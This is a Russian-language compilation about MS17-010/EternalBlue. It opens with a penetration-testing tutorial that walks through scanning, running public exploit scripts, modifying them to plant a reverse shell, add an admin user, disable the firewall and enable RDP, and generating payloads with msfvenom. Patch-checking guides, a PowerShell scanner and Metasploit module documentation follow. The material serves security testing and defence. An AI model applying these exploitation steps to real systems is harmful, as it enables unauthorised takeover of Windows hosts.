История вопроса
Уязвимости, описанные в MS Security Bulletin под номером 17-010, прогремели в 2017 году на весь мир. И было отчего! На базе этих уязвимостнй NSA разработало атаку EternalBlue («Вечная синева», «бесконечная грусть»), которую и использовало задолго до официального обнаружения уязвимости. Вместе с бэкдором DoublePulsar атака EternalBlue входила в набор утилит NSA, который стал доступным общественности благодаря действиям хакерской группы Shadow Brokers. Стоит отметить, что утилиты NSA были существенно доработаны исследователем Шоном Диллоном. На базе этих же уязвимостей функционируют многие зловреды, например: WannaCry, NotPetya и Retefe.
Эта весьма серьёзная проблема затрагивает операционные системы Windows. Подробную информацию о версиях можно (и нужно) получить на сайте производителя, то есть Microsoft: https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010 . В большой таблице за EternalBlue ответственна CVE-2017-0144.
Даже не владеющему английским языком читателю будет несложно увидеть, что в списке присутствуют: Windows Vista, 7, 8.1, 10; Windows Server 2008, 2012, 2016 — то есть вполне современные версии ОС, широко представленные в сетях компаний, которые могут оказаться целью хакерской атаки. Windows XP, 8, Windows Server 2003 также подвержены этой проблеме. Из бюллетеня видно, что MS17-010 включает в себя несколько различных программных ошибок в Windows SMB Server, точнее в SMBv1.
Что же это за сервис и насколько широко он используется?
SMB — server message block — протокол, позволяющий компьютерам в локальной сети получать доступ к совместным ресурсам (shared resources), таким как файлы и принтеры, видеть друг друга в локальной сети и т.п.. Полное описание сильно выходит за рамки данной статьи, но что важно: SMB жизненно важен для функционирования Windows и всегда присутствует в системе. До 2006 года существовала только версия SMBv1, как раз та, которую эксплуатирует EternalBlue. Windows Vista и 8, хотя и поддерживают вторую версию протокола, переходят на первую в случае, если их визави отказывается от использования SMBv2. Системы, где поддержка SMBv1 отсутствует по умолчанию — Windows 10 Fall Creators Update и Windows Server, version 1709 (RS3)*1. Поддержка SMBv2 в Linux ядрах появилась только с версии 3.7, Apple добавил поддержку SMBv2 в версии OS X 10.9.
Таким образом можно сделать вывод, что в большинстве более-менее крупных сетей шансы встретиться с хостом, отвечающим по SMBv1, достаточно велики.
Что же даёт эксплуатация такой уязвимости?
Возможности, которые получает атакующий, почти безграничны! В случае удачной атаки хакер получает возможность исполнения на хосте-жертве произвольного кода с привилегиями System — наивысшими возможными в Windows. Вот только некоторые из возможных последствий: получение полной конфигурации (и перечня защитных механизмов, то есть конфигурация Windows Defender, установленные HIDS и их конфигурация и так далее), утечка информации о пользователях и их правах, утечка хэшей паролей (с последующим перебором для восстановления паролей), утечка информации kerberos (с последующим восстановлением паролей и генерацией серебряных билетов) — то есть в перспективе полная компрометация всего домена.
Немного теории
Проблема возникает при сбое в обработке SMB-запроса (естественно, в связи с тем, что он некорректно составлен). Структура сообщений SMB задокументирована и доступна на сайте Microsoft*2. В рамках MS17-010 рассматриваются девять различных багов. Самыми интересными из них являются: Wrong type assigment in SrvOs2FeaListSizeToNt(), приводящая к переполнению буфера и Transaction secondary can be used with any transaction type, который заключается в том, что сервер не проверяет последовательность команд при выполнении SMB-транзакции, что приводит к возможности посылки очень больших сообщений (что необходимо для того, чтобы затриггерить предыдущий баг). Таким образом, для эксплуатации бага необходимо иметь возможность посылать транзакционные команды и иметь доступ к любой share (вполне подходит IPC$).
Идеальным вариантом для эксплуатации является система с версией ниже Win8, так как в этом случае нам будут доступны anonymous (NULL) session, то есть для успешной эксплуатации не требуется никаких дополнительных знаний о пользовательских аккаунтах или named pipes.
Эксплуатация уязвимости
Итак, довольно скучной теории, переходим к практике. Что же нам понадобится, чтобы захватить уязвимый хост?
Во-первых, машина, на которой мы сможем запускать наши скрипты. Я использую kali Linux, один из стандартных дистрибутивов для специалиста по кибербезопасности. Вы можете использовать любую машину с установленным интерпретатором python. Вычислительная мощность и скорость подключения к сети особого значения не имеет (в разумных пределах).
Во-вторых, для обнаружения уязвимых хостов удобно использовать утилиту nmap. Этот известный продукт вот уже десятилетия незаменим при сканировании сетей. Нам он понадобится для определения версии ОС и используемого протокола SMB. Такое предварительной сканирование в большой сети позволит сразу очертить круг потенциальных целей и в дальнейшем не тратить время на неподходящие хосты.
В-третьих, для генерации «полезной нагрузки» удобно использовать утилиту msfvenom, которая сама по себе достойна отдельной статьи. В случае её отсутствия можно использовать готовые шеллкоды, но я не рекомендую этот вариант, не только по причинам небезопасности неизвестного шеллкода, но и по причинам ограниченности такого подхода (вряд ли вы найдёте шеллкод с реверс-шеллом на нужный вам ip и порт).
В-четвёртых, metasploit. Конечно, можно использовать его встроенные модули для эксплуатации MS17-010, но в этой статье мы будем использовать более гибкий метод, а metasploit будет исползоваться исключительно для поиска named pipes, если такая необходимость возникнет.
И, наконец, наша звезда — набор утилит для эксплуатации. В этой статье используется набор, который можно загрузить с GitHub из репозитория пользователя worawit: https://github.com/worawit/MS17-010. Скачайте его либо командой
git clone https://github.com/worawit/MS17-010.git
либо как архив — как вам удобнее.
Также необходимо некоторое количество потенциально уязвимых хостов, на которых у вас есть разрешение на проведение тестов. Если у вас есть выбор, попробуйте Windows 2000, Windows 7, Windows 8 и Windows Server 2012 — чтобы оценить различные варианты работы скриптов.
Работа строится по несложному алгоритму: сканирование портов, определение версии ОС, проверка возможности эксплуатации уязвимости, атака. При необходимости — коррекция ошибок и повторная атака.
При первом сканировании мы устанавливаем, какие открытые порты имеются в системе. Имеет смысл вначале проводить только сканирование TCP портов — как правило оно даёт достаточно информации. UDP-сканирование значительно медленнее.
- Nmap — TCP сканирование с попыткой установления соединения
На рисунке представлено сканирование выбранного хоста (10.11.1.227) по протоколу TCP типа попытки установления соединения на 50 наиболее часто спользуемых портов (по данным разработчиков nmap). Дополнительно имеет смысл использовать ключи -oN (сохранение результата в файл) или даже -oA, если планируется использовать автоматические системы анализа, -vv, если необходима дополнительная информация и -Pn, если хост не отвечает на пакеты ping (или если мы точно знаем, что он доступен).
Поскольку сканирование прошло очень быстро, можно провести и UDP-scan. Его результат приведён на рисунке 2.
- Nmap — UDP сканирование
Итак мы видим, что перед нами явно Windows — по характерному набору открытых портов. Кроме того, мы можем предположить, что данный хост используется в качестве сервера (запущены сервисы ftp, smtp, http, snmp). Это интересная цель.
Для более подробного определения ОС можно использовать ключ nmap -O, однако можно попробовать получить необходимую информацию и во время сканирования smb сервиса, который, как мы видим, доступен. Результаты приведены на рисунке 3.
- Nmap — SMB сканирование
Я намеренно не использую группу скриптов smb-vuln*, поскольку существует небольшая вероятность вызвать сбой на исследуемом хосте. Мы видим, что данное сканирование достаточно шумно, но SMBv1 настолько «разговорчив» сам по себе, что такое сканирование не обязательно будет выделяться в общем потоке трафика.
Результаты сканирования показывают, что:
1) мы имеем дело с Windows 2000 — потенциально уязвимой системой;
2) IPC$ доступен для чтения анонимному пользователю (Null session) и для чтения и записи пользователю «Guest» — то, что нужно для запуска эксплойта
3) есть ещё доступная сетевая папка — её содержимое, безусловно, нас интересует, но не входит в рамки данной статьи.
Для полной уверенности в том, что наша цель уязвима, используем скрипт checker.py из скачанного набора.
- Использование утилиты checker
Результат работы скрипты показывает, что цель уязвима, а также показывает некоторые из доступных named pipes. Кроме того, мы видим, что эта система 32-битная (для Win2k это очевидно, но для других ОС возможны варианты).
Теперь нам нужно выбрать подходящий скрипт из набора. Для этого нужно заглянуть в файл README.md. Видим: «zzz_exploit.py Exploit for Windows 2000 and later (requires access to named pipe)». Заглянем внутрь этого скрипта (для краткости приведена только наиболее интересная часть листинга):
- Выдержка из листинга zzz_exploit.py
Мы видим, что сейчас запуск этого эксплойта приведёт к созданию файла «pwned.txt» на целевой системе. Однако скрипт легко изменить таким образом, чтобы загрузить и исполнить произвольный файл.
Вначале посмотрим, как отрабатывает скрипт в исходном варианте:
- Exploit Win2k
Мы видим, что всё прошло успешно и файл был создан. Однако, интересно протестировать и более агрессивный вариант. Модифицируем файл эксплойта — например на рисунке ниже добавлен код, загружающий на устройство reverse shell (и вызывающий его, конечно же), а также создающий пользователя, добавляющий его в группу локальных администраторов, открывающий доступ по RDP и отключающий фаервол.
- Модификации эксплойта
Конечно в реальности мы будем использовать только один из вариантов, но в качестве примера такой листинг удобен.
Для того, чтобы всё это сработало в полном объёме, нужен собственно reverse shell, который мы хотим запустить. Для того, чтобы его сделать, в свою очередь, нужна утилита msfvenom.
Вот таким образом мы можем создать эксплойт, который будет открывать reverse shell на указанный нами адрес и порт:
- Генерация payload’a с помощью msfvenom
В качестве ОС для нашей нагрузки мы указываем windows — что соответствует 32-битной версии. Для 64-битной строка будет выглядеть как windows/x64. В качестве желаемой нагрузки выбран reverse TCP shell без предзагрузчика (non-staged payload). В параметрах указан ip адрес и порт, на которые мы хотим открыть соединение (в данном случае наша Кали). Exitfunc=thread позволит нашему процессу выполняться в отдельном треде (и не завершиться по окончании основного процесса, а продолжить работу). Также указываем формат вывода — hexadecimal codes для eternalblue_exploit7.py (подробнее чуть ниже) и exe для zzz_exploit.py. Последний штрих — имя файла, в который сохраняется payload. Я предпочитаю давать эксплойтам названия, включающие некоторую информацию о том, как их предполагается использовать, но в целом это дело вкуса.
Обратите внимание, что в коде эксплойта выше указано другое название payload’a. Этот момент нужно подправить перед запуском — если вы собираетесь использовать эксплойт часто, имеет смысл добавить имя файла в возможные агрументы командной сроки.
Вот результат успешного выполнения скрипта на Win8:
- RDP включен
Мы видим, что RDP соединение готово к установке. Cоглашаемся принять сертификат и видим десктоп:
- Захваченный десктоп
Поскольку наш пользователь входит в группу локальных администраторов, нам открываются широкие перспективы по разработке захваченной системы, но это тема для отдельной статьи.
Похожим образом используются и другие скрипты. Однако для eternalblue_exploit*.py подготовка payload’a выглядит чуть интереснее. Вначале мы собираем shellcode c помощью nasm
- Сборка шеллкода
Затем генерируем payload. Если используется нагрузка в виде reverse shell’a, то можно склеить вместе версии для 32 и 64-битных ОС. Если же хочется, например, добавить пользователя, то мы ограничимся 32-битной архитектурой (работать будет и на 64-битной системе). Для склейки в наборе утилит есть скрипт eternalblue_sc_merge.py
- Склейка эксплойта
Перед запуском мы стартуем наш листенер (nc). Порты ниже 1024 требуют привилегий root. Порт 443 выбран из тех соображений, что он как правило открыт на фаерволе для исходящих соединений, и в то же время не подвергается синтаксическому анализу запросов (как, например, ftp или http).
Что может пойти не так?
- Конфигурация системы (то есть в первую очередь конфигурация фаервола) может запрещать исходящие соединения от недоверенных программ. Именно поэтому добавление пользователя и подключение RDP ак правило проходит проще, чем запуск reverse shell. Также в системе может быть отключен SMBv1, что делает её неподверженной атаке.
- В системе может быть установлен патч от Microsoft. Ничего не поделаешь, система неуязвима для рассматриваемого типа атак. О таком развитии событий нас вовремя предупредит checker.py.
- Новые версии Windows не содержат этой уязвимости. При первичном сканировании вы увидите, что система не подвержена этой уязвимости. Также, необходимо правильно выбрать скрипт исходя из атакуемой версии. Вот пример неправильно выбранной версии (эксплойт для Win7, система Win8.1)
12. Результат работы неверно выбранного скрипта
Корректируем наш выбор и получаем долгожданный доступ. Этот шелл не полностью интерактивен, как и положено шеллу нетката, но «улучшение» доступа — это отдельная интересная тема.
- Системный шелл в nc
После получения удобного доступа мы можем исследовать систему для получения дополнительной информации, собирать хэши паролей, добавлять пользователей, изменять настройки фаервола для сохранения доступа к системе (например, через rdp).
Поиск named pipe
Используемые эксплойтом named pipes могут быть недоступны. В таком случае нам понадобится найти подходящую named pipe. Для этого будем использовать metasploit. Утилита проводит перебор известных named pipes, лист можно дополнять. Можно написать и свой скрипт, но это отдельная тема.
- Metasploit: модуль Pipe auditor
В качестве RHOSTS необходимо указать атакуемую систему. SMBUser и SMBPass могут использоваться, если известна какая-либо учётная запись в системе. Выше было показано, что пользователь Guest не отключен — значит его можно использовать.
- Доступные named pipes на Win8
16. Доступные named pipes на Win2k
В случае, если Guest отключен, на системах новее Win8 нам понадобится найти учётную запись любого непривилегированного пользователя. В этом случае мы можем рассматривать данную атаку исключительно как способ повышения привилегий в системе, а не как способ получения доступа.
Уже упомянутый выше фаервол может блокировать действия эксплойта. В этом случае можно попробовать разные варианты — например, часто блокируется запуск reverse shell, но удаётся выполнить команды net и netsh, что позволит отключить фаервол, добавить пользователя, или же просто снять необходимые данные с помощью эксплойта.
Методы защиты от атаки логически вытекают из используемых для атаки методов.
- Отключение smbv1. Первая версия протокола SMB относится к категории deprecated. Если её отключение невозможно, необходим мониторинг SMB активности с помощью IDS.
- Установка апдейтов от Microsoft. В случае невозможности — вывод хостов из эксплуатации с заменой на современные версии ОС.
- Хорошей стратегией в большой сети будет мониторинг сетевого трафика с выявлением станций, использующих SMBv1. Далее необходимо провести анализ возможности отключения SMBv1 на них, а в случае невозможности — анализ целесообразности использования этих хостов, возможности временной изоляции за WAF, а также планирование их последующей модернизации.
Использованные материалы:
- https://docs.microsoft.com/en-us/windows-server/storage/file-server/troubleshoot/smbv1-not-installed-by-default-in-windows
- https://msdn.microsoft.com/en-us/library/ee441702.aspx
Корпорация Microsoft выпустила обновления для операционных систем Windows XP, 8 и Server 2003, официальная поддержка которых прекращена. Патчи закрывают уязвимость, через которую распространяется вирус WannaCry, заразивший компьютеры более чем в 90 странах.
Мы знаем, что некоторые из наших клиентов работают на версиях Windows, которые больше не поддерживаются. Это означает, что эти пользователи не получили обновление системы безопасности MS17-010, выпущенное в марте 2017 года.
Учитывая потенциальное воздействие на клиентов и их бизнес, мы приняли решение сделать обновление безопасности для платформ Windows XP, Windows 8 (не получает обновления с декабря 2016 года, пользователям рекомендовано перейти на 8.1 — vc.ru) и Windows Server 2003.
— Microsoft
В компании пообещали предоставить дополнительную помощь клиентам, если в этом возникнет необходимость.
Обновление
MS17-010 (4012598) доступно для следующих систем:
- Windows XP SP3 x86,
- Windows XP SP2 x64,
- Windows XP Embedded SP3 x86,
- Windows 8 x86,
- Windows 8 x64,
- Windows Server 2003 SP2 x86,
- Windows Server 2003 SP2 x64.
Эпидемия вируса-вымогателя WannaCry началась 12 мая 2017 года, он шифрует файлы на компьютере жертвы и требует выкуп в размере $300 в биткоинах. По оценке компании Avast, атака задела 75 тысяч компьютеров в 99 странах.
WannaCry заражает только те Windows-компьютеры, в которых есть уязвимость, которую Microsoft устранила с помощью выпущенного в марте 2017 года обновления для систем Windows Vista, 7, 8.1 и 10.
Среди пострадавших — ИТ-системы учреждений здравоохранения Великобритании, несколько крупных испанских компаний, а также сети «Мегафона» и МВД. К утру 13 мая распространение вируса удалось приостановить благодаря
регистрации бессмысленного доменного имени.
Вероятно, из СМИ, все уже в курсе, что 12 мая по всему миру зафиксированы массовые заражения ОС Windows вирусом-шифровальщиком Wana decrypt0r 2.0 (WannaCry, WCry). Для атаки используется довольно свежая уязвимость в протоколе доступа к общим файлам и принтерам — SMBv1. После заражения компьютера, вирус шифрует некоторые файлы (документы, почту, файлы баз) на жестком диске пользователя, меняя их расширения на WCRY. За расшифровку файлов вирус-вымогатель требует перевести 300$. Под угрозой в первую очередь находятся все ОС Windows, на которых отсутствует исправляющее уязвимость обновление, с включенным протоколом SMB 1.0, напрямую подключенные к Интернету и с доступным извне портом 445. Отмечались и другие способы проникновения шифровальщика в системы (зараженные сайты, рассылки). После попадания вируса внутрь периметра локальной сеть, он может распространяться автономно, сканируя уязвимые хосты в сети.
Содержание:
- Обновления безопасности Windows для защиты от WannaCry
- Отключение SMB v 1.0
- Статус атаки WCry
Обновления безопасности Windows для защиты от WannaCry
Уязвимость в SMB 1.0, эксплуатируемая вирусом, исправлена в обновлениях безопасности MS17-010, выпущенных 14 марта 2017 года. В том случае, если ваши компьютеры регулярно обновляются через Windows Update или WSUS, достаточно проверить наличие данного обновления на компьютере как описано ниже.
Vista, Windows Server 2008 |
wmic qfe list | findstr 4012598
|
Windows 7, Windows Server 2008 R2 |
wmic qfe list | findstr 4012212 или |
Windows 8.1 |
wmic qfe list | findstr 4012213 или wmic qfe list | findstr 4012216
|
Windows Server 2012 |
wmic qfe list | findstr 4012214 или wmic qfe list | findstr 4012217
|
Windows Server 2012 R2 |
wmic qfe list | findstr 4012213 или wmic qfe list | findstr 4012216
|
Windows 10 |
wmic qfe list | findstr 4012606
|
Windows 10 1511 |
wmic qfe list | findstr 4013198
|
Windows 10 1607 |
wmic qfe list | findstr 4013429
|
Windows Server 2016 |
wmic qfe list | findstr 4013429
|
В том случае, если команда возвращает подобный ответ, значит патч, закрывающий уязвимость, у вас уже установлен.
ttp://support.microsoft.com/?kbid=4012213 MSK-DC2 Security Update KB4012213 CORP\admin 5/13/2017
Если команда ничего не возвращает, нужно скачать и установить соответствующее обновления. В том случае, если установлены апрельские или майские обновления безопасности Windows (в рамках новой накопительной модели обновления Windows), ваш компьютер также защищен.
Стоит отметить, что, несмотря на то что Windows XP, Windows Server 2003, Windows 8 уже сняты с поддержки, Microsoft оперативно выпустило обновление и дня них.
Совет. Прямые ссылки на патчи для исправления уязвимости под снятые с поддержки системы:
Windows XP SP3 x86 RUS —
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsxp-kb4012598-x86-custom-rus_84397f9eeea668b975c0c2cf9aaf0e2312f50077.exe
Windows XP SP3 x86 ENU —
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsxp-kb4012598-x86-custom-enu_eceb7d5023bbb23c0dc633e46b9c2f14fa6ee9dd.exe
Windows XP SP2 x64 RUS —
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-enu_f24d8723f246145524b9030e4752c96430981211.exe
Windows XP SP2 x64 ENU —
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-enu_f24d8723f246145524b9030e4752c96430981211.exe
Windows Server 2003 x86 RUS —
http://download.windowsupdate.com/c/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x86-custom-rus_62e38676306f9df089edaeec8924a6fdb68ec294.exe
Windows Server 2003 x86 ENU —
http://download.windowsupdate.com/c/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x86-custom-enu_f617caf6e7ee6f43abe4b386cb1d26b3318693cf.exe
Windows Server 2003 x64 RUS –
http://download.windowsupdate.com/c/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-rus_6efd5e111cbfe2f9e10651354c0118517cee4c5e.exe
Windows Server 2003 x64 ENU —
http://download.windowsupdate.com/d/csa/csa/secu/2017/02/windowsserver2003-kb4012598-x64-custom-enu_f24d8723f246145524b9030e4752c96430981211.exe
Windows 8 x86 —
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows8-rt-kb4012598-x86_a0f1c953a24dd042acc540c59b339f55fb18f594.msu
Windows 8 x64 —
http://download.windowsupdate.com/c/msdownload/update/software/secu/2017/05/windows8-rt-kb4012598-x64_f05841d2e94197c2dca4457f1b895e8f632b7f8e.msu
Отключение SMB v 1.0
Простым и действенным способом защиты от уязвимости является полное отключение протокола SMB 1.0 на клиентах и серверах. В том случае, если в вашей сети не осталось компьютеров с Windows XP или Windows Server 2003, это можно выполнить с помощью команды
dism /online /norestart /disable-feature /featurename:SMB1Protocol
или по рекомендациям в статье Отключение SMB 1.0 в Windows 10 / Server 2016
Статус атаки WCry
По последней информации, распространение вируса-вымогателя WannaCrypt удалось приостановить, зарегистрировав домен iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com. Как оказалось, в коде вирус была зашито обращение к этому домену, при отрицательном ответе вирус начинал шифрование документов. Судя по всему, таким способо разработчики оставили для себе возможность быстро приостановить распространение вируса. Чем воспользовался один из энтузиастов.
Естественно, авторам вируса ничего не мешает написать свежую версию своего творения под эксплойт ETERNALBLUE, и он продолжит свое черное дело. Таким образом, для предотвращения атак Ransom:Win32.WannaCrypt необходимо установить нужные обновления (и устанавливать их регулярно), обновить антивирусы, отключить SMB 1.0 (если применимл), и не открывать без необходимости порт 445 в Интернет.
И еще приведу ссылки на полезные статьи, позволяющие минимизировать вред и вероятность атаки шифровальщиков в Windows системах:
- Защита от шифровальщиков с помощью FSRM
- Блокировка вирусов с помощью Software Restriction Policies
- Восстановление файлов из теневых копий после заражения шифровальщиком
Утилита для проверки наличия установленного обновления MS17-010
Утилита позволяет быстро провести анализ сети на наличие хостов, на которых отсутствует обновление MS17-010. Это обновление закрывает уязвимости CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147 и CVE-2017-0148, часть из которых используются в эксплоите EternalBlue. В частности, данную уязвимость эксплуатирует Wana decrypt0r.
Способы проверки
1. Проверка через WMI
wmic qfe get HotFixID | findstr /c:4012212 /c:4012213 /c:4012214 /c:4012215 /c:4012216 /c:4012217 /c:4012598 /c:4012606 /c:4013198 /c:4013429
Если есть результат выполнения этой команды, то обновление MS17-010 у вас установлено. В некоторых случаях WMI запрос не находит все установленные обновления. Это связано с тем, что класс Win32_QuickFixEngineering возвращает только те обновления, которые установлены с использованием Component Based Servicing (CBS). Те обновления, которые установлены с помощью Microsoft Windows Installer (MSI) или с сайта обновлений Windows, не детектируются через WMI. Поэтому есть следующий способ проверки установленных обновлений:
2. Проверка через обращение к службе Windows Update (PowerShell)
$KB = @() $KB += "4012212" # Security only update for Windows 7 and Windows Server 2008 R2 $KB += "4012213" # Security only update for Windows 8.1 and Windows Server 2012 R2 $KB += "4012214" # Security only update for Windows Server 2012 $KB += "4012215" # Monthly rollup (March 2017) for Windows 7 and Windows Server 2008 R2 $KB += "4012216" # Monthly rollup (March 2017) for Windows 8.1 and Windows RT 8.1 and Windows Server 2012 R2 $KB += "4012217" # Monthly rollup (March 2017) for Windows 8 and Windows Server 2012 $KB += "4012598" # Other old Windows versions https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/ $KB += "4012606" # Cumulative update (March 14, 2017) for Windows 10 $KB += "4013198" # Cumulative update (March 14, 2017) for Windows 10 1511 $KB += "4013429" # Cumulative update (March 14, 2017) for Windows 10 1607 $KB += "4015217" # Cumulative update (April 11, 2017) for Windows 10 1607 $KB += "4015219" # Cumulative update (April 11, 2017) for Windows 10 1511 $KB += "4015221" # Cumulative update (April 11, 2017) for Windows 10 $KB += "4015438" # Cumulative update (March 20, 2017) for Windows 10 1607 $KB += "4015549" # Monthly rollup (April 2017) for Windows 7 and Windows Server 2008 R2 $KB += "4015550" # Monthly rollup (April 2017) for Windows 8.1 and Windows Server 2012 R2 $KB += "4015551" # Monthly rollup (April 2017) for Windows 8 and Windows Server 2012 $KB += "4016635" # Cumulative update (March 22, 2017) for Windows 10 1607 $KB += "4016636" # Cumulative update (March 22, 2017) for Windows 10 1511 $KB += "4016637" # Cumulative update (March 22, 2017) for Windows 10 $KB += "4016871" # Cumulative update (May 9, 2017) for Windows 10 1703 $KB += "4019215" # Monthly rollup (May 2017) for Windows 8.1 and Windows Server 2012 R2 $KB += "4019216" # Monthly rollup (May 2017) for Windows 8 and Windows Server 2012 $KB += "4019264" # Monthly rollup (May 2017) for Windows 7 and Windows Server 2008 R2 $KB += "4019472" # Cumulative update (May 9, 2017) for Windows 10 1607 $KB += "4019473" # Cumulative update (May 9, 2017) for Windows 10 1511 $KB += "4019474" # Cumulative update (May 9, 2017) for Windows 10 $Session = New-Object -ComObject Microsoft.Update.Session $Searcher = $Session.CreateUpdateSearcher() $HistoryCount = $Searcher.GetTotalHistoryCount() $Updates = $Searcher.QueryHistory(0, $HistoryCount) Foreach ($item in $Updates) { if ($item.Title -match [String]::Join("|", $KB)) { Write-Host 'MS17-010 installed' } }
rvision-ms17010.ps1
Изложенные выше способы проверки наличия установленного обновления MS17-010 были использованы при написании скрипта rvision-ms17010.ps1. Для удаленного подключения к службе WMI используется команда Get-WmiObject, а для удаленного подключения к локальной службе Windows Update используется Windows Remote Management (WinRM). Если на удаленном узле не сконфигурирована служба WinRM, то проверка осуществляется только через WMI. Функции сканирования сети были заимствованы из пакета LazyAdmin.
Использование rvision-ms17010.ps1
- Сканирует заданную сеть на наличие установленного обновления MS17-010 с использованием текущей учетной записи пользователя
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254
- Если текущая учетная запись не имеет доступна к WMI, то есть возможность запустить скрипт от имени другого пользователя
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials
- Для отображения информации о том, включен ли протокол SMBv1 на удаленном хосте, добавьте аргумент -IncludeSMB
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials -IncludeSMB
Пример использования скрипта:
PS C:\> .\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials -IncludeSMB IPv4Address Hotfix SMBv1 Hostname ----------- ------ ----- -------- 10.0.0.2 Ok Disabled dc1.int.lan 10.0.0.3 *** NOT INSTALLED *** Disabled dc2.int.lan 10.0.0.4 *** NOT INSTALLED *** Disabled mail.int.lan 10.0.0.5 Ok Disabled sqldb.int.lan 10.0.0.12 *** NOT INSTALLED *** *** ENABLED *** si.int.lan 10.0.0.14 Ok *** ENABLED *** fp.int.lan 10.0.0.15 *** NOT INSTALLED *** *** ENABLED *** sp.int.lan 10.0.0.16 *** NOT INSTALLED *** *** ENABLED *** siem.int.lan 10.0.0.235 *** NOT INSTALLED *** *** ENABLED *** WIN8EN64 10.0.0.241 *** NOT INSTALLED *** WIN7RU32 10.0.0.242 Ok WIN7EN32 10.0.0.245 Ok *** ENABLED *** WIN10RU64 10.0.0.246 *** NOT INSTALLED *** *** ENABLED *** WIN10EN32 10.0.0.247 *** NOT INSTALLED *** *** ENABLED *** WIN10EN64 10.0.0.254 *** NOT INSTALLED *** *** ENABLED *** WIN2K12R2EN
Чтобы отобразить статус подключения к службе WinRM, необходимо добавить аргумент -IncludeWinRM
.\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254 -UseCredentials -IncludeWinRM
Возможные ошибки в процессе выполнения скрипта
.\rvision-ms17010.ps1 : File C:\ms17-010-master\rvision-ms17010.ps1 cannot be loaded. The file C:\ms17-010-master\rvisi
on-ms17010.ps1 is not digitally signed. You cannot run this script on the current system. For more information about ru
nning scripts and setting execution policy, see about_Execution_Policies at http://go.microsoft.com/fwlink/?LinkID=1351
70.
At line:1 char:1
+ .\rvision-ms17010.ps1 -StartIPv4Address 10.0.0.0 -EndIPv4Address 10.0.0.254
+ ~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : SecurityError: (:) [], PSSecurityException
+ FullyQualifiedErrorId : UnauthorizedAccess
Исправляется путем выполнения команды Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
This page contains detailed information about how to use the auxiliary/admin/smb/ms17_010_command metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
- Module Overview
- Module Ranking and Traits
- Basic Usage
- Required Options
- Knowledge Base
- Introduction
- Vulnerable Server
- Verification Steps
- Options
- Scenarios
- Msfconsole Usage
- Module Options
- Advanced Options
- Auxiliary Actions
- Evasion Options
- Related Pull Requests
- References
- See Also
- Authors
- Version
Module Overview
Name: MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
Module: auxiliary/admin/smb/ms17_010_command
Source code: modules/auxiliary/admin/smb/ms17_010_command.rb
Disclosure date: 2017-03-14
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): —
Supported platform(s): —
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2017-0143, CVE-2017-0146, CVE-2017-0147
This module is also known as ETERNALSYNERGY, ETERNALROMANCE, ETERNALCHAMPION or ETERNALBLUE.
This module will exploit SMB with vulnerabilities in
MS17-010 to achieve a write-what-where primitive. This will
then be used to overwrite the connection session information
with as an Administrator session. From there, the normal
psexec command execution is done. Exploits a type confusion
between Transaction and WriteAndX requests and a race
condition in Transaction requests, as seen in the
EternalRomance, EternalChampion, and EternalSynergy
exploits. This exploit chain is more reliable than the
EternalBlue exploit, but requires a named pipe.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can’t (or doesn’t) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/admin/smb/ms17_010_command
msf auxiliary(ms17_010_command) > show options
... show and set options ...
msf auxiliary(ms17_010_command) > set RHOSTS ip-range
msf auxiliary(ms17_010_command) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(ms17_010_command) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(ms17_010_command) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(ms17_010_command) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax ‘file:<path>’
Knowledge Base
Introduction
MS17-010 and psexec are two of the most popular exploits against Microsoft Windows. This module bolts the two together.
You can run any command as SYSTEM. Note: unlike EternalBlue, kernel shellcode is not used to stage Meterpreter, so you might have to evade your payloads.
- CVE-2017-0146 (EternalChampion/EternalSynergy) — exploit a race condition with Transaction requests
- CVE-2017-0143 (EternalRomance/EternalSynergy) — exploit a type confusion between WriteAndX and Transaction requests
This module is highly reliable and preferred over EternalBlue where a Named Pipe is accessible for anonymous logins (generally, everything pre-Vista, and relatively common for domain computers in the wild).
Vulnerable Server
To be able to use auxiliary/admin/smb/ms17_010_command:
- You can OPTIONALLY use a valid username/password to bypass most of these requirements.
- The firewall must allow SMB traffic.
- The target must use SMBv1.
- The target must be missing the MS17-010 patch.
- The target must allow anonymous IPC$ and a Named Pipe.
You can check all of these with the SMB MS17-010 and Pipe Auditor auxiliary scanner modules.
If you’re having trouble configuring an anonymous named pipe,
Microsoft’s
documentation
on the topic may be helpful.
Verification Steps
At the minimum, you should be able use psexec to get a session with a valid credential using the following:
msf > use auxiliary/admin/smb/ms17_010_command
